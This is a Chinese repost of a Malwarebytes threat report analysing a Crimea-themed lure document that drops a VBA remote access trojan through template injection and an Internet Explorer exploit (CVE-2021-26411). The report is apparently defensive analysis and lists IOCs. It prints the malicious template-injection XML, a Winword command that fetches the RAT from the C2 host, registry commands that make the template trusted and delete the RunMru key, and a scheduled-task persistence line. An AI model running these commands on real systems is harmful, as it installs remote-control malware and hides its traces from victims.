[MalwarebytesLABS] 克里米亚 "宣言" 使用双重攻击部署 VBA RAT
克里米亚 "宣言" 使用双重攻击部署 VBA RATby MalwarebytesLABS 威胁情报团队 | 2021.07.29
(点击上方图片跳转原文)
2021 年 7 月 21 日,我们发现了一个名为 "Манифест.docx" ( "Manifest.docx") 的可疑文档,此文档会下载并执行两个模板:一个是与宏有关,另一个是包含 IE exploit 的 html 对象。
虽然这两种技术都依赖模板注入来释放 RAT,但 Lazarus APT 之前使用的 IE 漏洞 (CVE-2021-26411) 是一个不寻常的发现。攻击者可能希望将社会工程技术与已知漏洞结合起来,目的是为了提高感染目标的成功率。
我们还发现了一个名为 "Ekipa" (看起来像 "设备" 的俚语) 的攻击者使用的面板,面板上有受害者被跟踪信息 (IE 漏洞是否利用成功)。
我们无法仅根据技术来确定谁可能是这次攻击的幕后黑手,但捕获到的文档可能会提供一些线索。文档包含了一个与 Andrey Sergeevich Portyko 有联系的组织声明,该组织反对普京在克里米亚半岛的政策。
一、远程模板
通过仔细查看嵌入在 settings.xml.rels 中的远程模板链接,最终执行会释放 VBA RAT,此 RAT 会执行以下操作:
[*]收集受害者信息;
[*]识别受害者机器上运行的 AV 产品;
[*]执行 shellcode;
[*]删除文件;
[*]上传和下载文件;
[*]读取磁盘和文件系统信息;
第二个模板嵌入在 Document.xml.rels 中。查看相关代码,我们注意到它利用了一个 IE Exploit (CVE-2021-26411),Lazarus APT 曾使用该漏洞对安全研究人员发起过攻击,正如 谷歌 和 微软 的威胁研究团队所报告的那样。使用此漏洞执行的 shellcode 会部署使用远程模板注入加载的相同 VBA RAT。
加载远程模板后,恶意文档会加载一个俄语的诱饵文档,诱饵文件是克里米亚内部一个团体发表的声明,该声明反对俄罗斯,特别是普京对该半岛的政策。在下面可以看到俄语和英语两种语言的声明。
图一:捕获到的文档二、文档分析
恶意文档 ("Манифест.docx") 在 settings.xml.rels 和 document.xml.rels 中包含两个远程模板链接。位于 settings.xml.rels 中的远程模板链接会下载带宏代码的模板并将其加载到当前文档中。此远程模板包含 RAT 功能的宏代码。我们在下一节中提供对这个 VBA RAT 的分析。
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="HtTpS:\\cloud-documents.com/doc/t.php?action=show_content" TargetMode="External"/></Relationships>第二个远程模板链接嵌入在 document.xml.rels 中,并将加载到主文档的一个对象中。此模板包含 CVE-2021-26411 的漏洞利用代码。
图二:Document.xml.rels
这个远程模板使用的漏洞利用代码与 ENKI 安全公司报告的几乎相似。
图三:Exploit code
此 exploit 执行的 shellcode 部署了相同的 VBA RAT,该 VBA RAT 也使用嵌入在 settings.xml.rels 中的远程模板加载。事实上,攻击者在尝试使用两种不同的方法部署其 VBA RAT (套娃?{:1_512:})。
shellcode 非常简单,执行以下操作。shellcode 是用 AutoHotKey 脚本语言编写的,它的所有操作都是使用 SendInput API 调用执行的。
[*]将 VBA RAT 作为受信任文档添加到 TrustedRecords 注册表项。目的是为了下次打开此文档时将无需启用宏 (此操作骚 {:1_508:})。
reg add \"HKCU\\SOFTWARE\\Microsoft\\Office\\16.0\\Word\\Security\\Trusted Documents\\TrustRecords\" /V https://cloud-documents.com/doc/templates/agent.dotm /t REG_BINARY /d 00000000000000000040230e43000000f9d99c01ffffff7f /f"[*]使用获取 VBA RATWinword /w https[:]//cloud-documents.com/doc/t.php?document_show=notica[*]通过创建一个计划任务每分钟执行一次,VBA RAT 持久化:SCHTASKS /Create /SC MINUTE /MO 1 /TN \"z\" /TR winword.exe ' /q /w %appdata%\Microsoft\Word\Startup\_.dotm[*]删除 RunMru 注册表值以清除其跟踪记录。Reg delete HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMru \f三、VBA RAT 分析 (远程模板)
远程模板包含 Document_Open 和 Document_Close,它们在打开和关闭文档时被激活。
3.1 Document_Open
Document_open 函数检查活动文档是否具有 docx 扩展名,如果是,则显示隐藏内容 (诱饵内容)。如果活动文档名称是"_.dotm" (当机器已经感染了这个 RAT 时就是这种情况),它调用 "ConnectCP" 函数,ConnectCP 函数负责通过调用以下函数以及 CustomDocumentProperties 中名为 "cve" 的值来收集受害者的信息 (该值是在第一次执行该文档时设置的)。
采集数据后,通过 JsonConvertor 函数将其转换为 json 格式。收集到的数据稍后由 SCI 函数使用,以发送到服务器并接收命令。
[*]getUUID:通过执行 SELECT * FROM Win32_ComputerSystemProduct 来获取 UUID;
[*]getOS:通过执行 SELECT * FROM Win32_OperatingSystem 来获取操作系统类型;
[*]arch:返回操作系统架构;
[*]getCPU:通过执行 SELECT * FROM Win32_Processor 来获取 CPU 信息;
[*]getGPU:通过执行 SELECT * FROM Win32_VideoController 来获取 GPU 信息;
[*]getRAM:通过执行 SELECT * FROM Win32_PhysicalMemory 来获取物理内存容量;
[*]getStorage:通过执行 SELECT * FROM Win32_PhysicalMemory 来获取可用硬盘空间;
[*]getName:获取计算机名,用户名和 domain 名;
[*]getRole:确定受害者是否为管理员;
图四:GetRole
[*]getAV:获取反病毒产品信息,包括 AV 名称、AV 状态 (启用或禁用) 和 AV 签名状态 (是否过时)。执行 Select * from AntiVirusProduct 以获取活动的反病毒产品列表,然后调用 DisplayName 来获取 AV 名称,然后使用产品状态代码识别 AV 状态和 AV 签名状态。例如,如果产品状态代码为 266240,则表示 AV 产品已启用且其签名已更新。
图五:GetAV
最后,ConnectCP 函数调用 StartTimer 函数启动任务执行程序 (ExecuteTasks函数)。此函数创建一个计时器,每 10 分钟调用一次 ExecuteTasks 函数来执行从服务器接收到的任务。
图六:Set Timer
如果活动文档名称不是 "_.dotm" (该机器之前没有感染过这个 VBA RAT),它会在确保它不是在沙盒环境中运行 (扩展名是 dotm) 后调用一个名为 InstallFromExp 的函数。检查以下注册表项的值,如果该值等于 1,则不会执行 InstallFromExp。
HKCU\Software\Microsoft\Office\&Application.Version&\Excel\Security\VBAWarnings此注册表项的值为 1,意味着允许所有不受信任和受信任的宏在没有任何通知的情况下运行,这通常是沙盒环境自动运行宏嵌入文档的默认设置。
InstallFromExp 执行此 RAT 的基本初始化,其中包括以下三个操作:
[*]将名为 "cve" 的 customDocumentProperties 设置为 "2021-26411";
[*]通过将自身添加到名称为 "_.dotm" 的 word 启动目录来使自身持久化:APPDATA\Microsoft\Word\StartUp\_.dotm;
[*]通过删除 RunMRU 注册表项来清理其跟踪记录;
[*]退出程序;
3.2 Document_Close
此函数还调用一个不同的函数 InstallFromMacro 来执行 RAT 的安装。在调用安装函数之前,它调用相同的沙盒函数以确保它没有运行到沙盒环境中,然后检查附加模板的路径是否包含 http 以确保它具有嵌入的远程模板 URL。
InstallFromMacro 执行 RAT 的初始化,其中包括以下三个操作:
[*]将附加的远程模板作为文档打开并提取 BuiltInDocumentProperties 的注释部分的内容,并用 "|" 拆分。如果操作系统是 32 位,它将获取注释的第一部分并将其放入 skd 变量中,如果操作系统是 64 位,它将获取注释部分的第二部分并将其放入 skd,skd 变量稍后用作 AddTask 函数的参数;
[*]将名为 "cve" 的 customDocumentProperties 设置为 "MACRO";
[*]通过将自身添加到名称为“_.dotm”的 word 启动目录中来使自身持久化:APPDATA\Microsoft\Word\StartUp\_.dotm;
[*]调用 AddTask 函数;
[*]通过删除 RunMRU 注册表项来清理其跟踪记录;
图七:RAT 安装
3.3 添加任务 (使用 EnumWindows 执行 shellcode)
此函数 base64 解码来自 InstallFromMacro 函数中设置的 skd 变量的内容,并使用 VirtualProtect 和 EnumWindows 执行它。实际上,skd 的内容是一个在内存中执行而没有写入磁盘的一小段 shellcode。攻击者使用了一个有趣的 API 调用来执行 shellcode。攻击者没有使用众所周知的 API 调用来执行 shellcode,这些 API (如 VirtualAlloc、WriteProcessMemory 和 CreateThread)很容易被 AV 产品标记,而是使用 EnumWindows 来执行其 shellcode (what? {:1_510:})。
EnumWindows 的第二个参数是要传递给回调函数的应用程序定义的值。VirtualProtect 的 shellcode 的地址作为该函数的第二个参数,它可以执行 shellcode。
图八:添加任务
执行的 shellcode 非常小,它只是通过创建一个计划任务来每分钟执行一次:
SCHTASKS /Create /SC MINUTE /MO 1 /TN \"z\" /TR winword.exe ' /q /w %appdata%\Microsoft\Word\Startup\_.dotm类似于 IE exploit 中使用的 shellcode,这个 shellcode 也是使用 AutoHotKey 脚本语言编写的,它使用 SendmessageA 和 SendInput 来模拟击键并执行其操作。
图九:shllcodeAPI 和函数调用解析
3.4 ExecuteTasks
这是这个 VBA RAT 的主要功能,它接收来自服务器的 JSON 格式的命令,然后解析 JSON 文件并执行命令。这个函数每次可以执行三个任务。这可能是为了避免在安全产品可能检测到的网络活动中制造太大动静。
图 10: 执行任务
为了从服务器接收任务,这个函数接收一个参数,它是一个名为 SCI 的函数。SCI 函数将 ConnectCP 函数收集到的数据以 JSON 格式发送到 HTTP POST 请求中,并接收来自服务器的响应,其中包含需要执行的 JSON 格式的任务。
图 11: 向服务器发送信息并接收命令
这是该 RAT 可以执行的命令列表。执行完每个任务后,任务执行的结果将发送到服务器。
3.4.1 ReadDisks
使用 Scripting.FileSystemObject.Drives 对象来获取机器上的每个驱动器信息。然后创建一个 JSON 对象,其中包含每个驱动器对象的以下键和值:
[*]IsReady:如果驱动器已准备好,则此值设置为 true;
[*]Label:获取驱动器的名称,它将是 ShareName 或 VolumeName,这取决于是否为远程驱动器;
[*]Filesystem:获取驱动器使用的文件系统;
[*]Freespace:以 KB 为单位获取驱动器的可用空间量;
[*]Name:获取盘符;
[*]IsDirectory:此值始终为 True;
图 12: 读取磁盘
3.4.2 ReadFileSystem
该函数使用 Scripting.FileSystemObject.GetFolder 对象获取指定路径中文件夹对应的 Folder 对象,然后提取其名称、大小、上次修改日期并将它们放入 JSON 对象中。它还为该 Folder 对象中的所有子文件夹和文件提取相同的信息,并将它们添加到 JSON 对象。
3.4.3 Download File
此函数使用 Adobe.Recordset 读取指定文件,并使用 HTTP POST 请求将数据发送到服务器。
图 13: 下载文件
3.4.4 Upload File
该模块从服务器接收文件并将其写入到指定文件中。
图 14: 上传文件
3.4.5 DeleteFile
该函数使用 Kill 函数删除指定的文件或目录。
3.4.6 Terminate
此函数终止 RAT 的执行并退出应用程序。
3.4.7 Execute
该函数使用在 AddTask 函数中使用的相同方法执行从服务器接收到的 shellcode,其中使用 VirtualProtect 和 EnumWindows 来执行 shellcode。
图 15: 执行 shellcode
3.4.8 ChangeTiming
该函数通过调用 EndTimer 来终止定时器,然后调用 StartTimer 来启动一个新的定时器,从而每 10 分钟重置一次用于执行任务的定时器。
图 16: 发送结果
四、攻击面板
我们能够访问攻击者使用的面板。该面板的主页包括受害者列表以及一些关于他们的信息,包括:IP 地址、日期和时间、NTLM、Windows 版本、Windows 架构、Office 版本、Office 架构、IE 版本、是否被利用 (IE 0day 攻击是否成功),加载程序 (显示 VBA RAT 是否成功执行) 和 note。
图 17: 面板
该面板是用 PHP 编写的,带有支持的 SQL 数据库来存储数据,此 install.php 初始化 SQL 数据库。
图 18: Install.php
stats.php 是执行与我们在此处报告的功能相匹配的 RAT 主要操作的文件。它还具有更多功能,包括:delete_task、disable_task、enable_task、show_tasks、add_task、format_task 和 add_user。
图 19: Stats.php
图 20: Stats.php
五、结论
在这篇文章中,我们分析了攻击者使用两种不同的方法。这两种技术都使用模板注入技术。第一个模板包含一个 URL,用于下载具有嵌入 VBA RAT 的远程模板。该 RAT 具有多种不同的功能,包括下载、上传和执行文件。第二个模板利用了 CVE-2021-26411,它执行 shellcode 来部署相同的 VBA RAT。VBA RAT 没有被混淆,但仍然使用了一些有趣的技术进行 shellcode 注入。
随着俄罗斯和乌克兰之间围绕克里米亚的冲突继续,网络攻击也在增加。诱饵文件包含一份宣言,显示了这次袭击背后的可能动机 (克里米亚) 和目标 (俄罗斯和亲俄罗斯个人)。但是,它也可能被用作虚假标志。
六、IOCs
6.1 Maldocs03eb08a930bb464837ede77df6c66651d526bab1560e7e6e0e8466ab23856bac
0661fc4eb09e99ba4d8e28a2d5fae6bb243f6acc0289870f9414f9328721010a6.2 Remote templatefffe061643271155f29ae015bca89100dec6b4b655fe0580aa8c6aee53f349286.3 C2 servercloud-documents[.]com
页:
[1]